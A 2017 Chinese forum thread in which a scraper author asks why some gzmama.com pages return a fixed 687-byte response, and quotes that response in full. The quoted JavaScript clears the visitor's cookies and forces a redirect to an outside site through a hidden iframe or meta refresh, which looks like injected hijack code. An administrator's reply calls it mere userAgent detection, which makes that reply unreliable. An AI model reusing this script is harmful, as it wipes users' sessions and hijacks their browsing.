本帖最后由 mahaiming 于 2017-3-3 20:56 编辑

各位:
    我写了个简单的程序爬取广州妈妈网http://www.gzmama.com/forum.php?mod=forumdisplay&fid=57&page=1
的帖子内容,在打开爬虫的每个帖子链接时,有规律性的抓取到定长报文,如下所示,687的都是定长报文,body体为空,只带了一串script代码,非687长度的都属于正常,可以正常匹配到我要的内容。
按照下面的规律看,基本6次或者7次正常后,必然碰到三个帖子的报文异常。
大家碰到这种情况吗?怎么解决?


连续抓取了几十个帖子,帖子的html代码长度如下:
181049
185169
180267
182193
184794
185360
687
687
687
68945
183690
183171
80649
183970
154971
178491
687
687
687
110151
182350
182509
181647
91896
212111
177182
687
275
687
110148
200767
87572
144634
182832
85696

其中,定长报文长这样,刚好687长度。
<body></body><script type="text/javascript">u="http://www.ertai8.com/";d=document;if(c=d.cookie.match(/[^ =;]+(?=\=)/g),t=new Date,t.setTime(t.getTime()-31536e7),c){cc(location.host);cc(d.URL.replace(/http:\/\/.*?([^\.]+\.(com\.cn|org\.cn|net\.cn|[^\.]+))\/.+/,"$1"))}/webkit/i.test(navigator.userAgent)?(f=d.createElement('iframe'),f.style.width=1,f.style.height=1,f.frameBorder=0,d.body.appendChild(f).src='javascript:"<script>top.location.replace(\''+u+'\')<\/script>"')d.open(),d.write(['<meta http-equiv="refresh"content="0;url=','"/>'].join(u)),d.close());function cc(dm){for(y=c.length;y--;){if(c[y]!="bai"){d.cookie=c[y]+"=0;expires="+t.toGMTString()+"; domain="+dm}}}</script>

举报 使用道具
| 回复

共 1 个关于本帖的回复 最后回复于 2017-3-2 21:53

沙发
Fuller 管理员 发表于 2017-3-2 21:53:46 | 只看该作者
这种问题不好查,你发的帖子的字体那么怪,进一步影响大家阅读和分析。

那段javascript 含有检测userAgent的代码,现在很多网站为了提高用户体验都会做检测。如果你用普通的url库做get操作,无法配合userAgent检测,可能就会遇到问题。
举报 使用道具
您需要登录后才可以回帖 登录 | 立即注册

精彩推荐

  • 运行Apple无法验证的程序的方法
  • 文本聚类分析软件的安装和使用方法
  • 利用AI阅读和分析文本:扣子COZE记录用户反
  • 在网页片段内直观标注——以B站评论采集为
  • 利用AI阅读和分析文本:使用COZE建设游记文

热门用户

GMT+8, 2024-12-24 10:30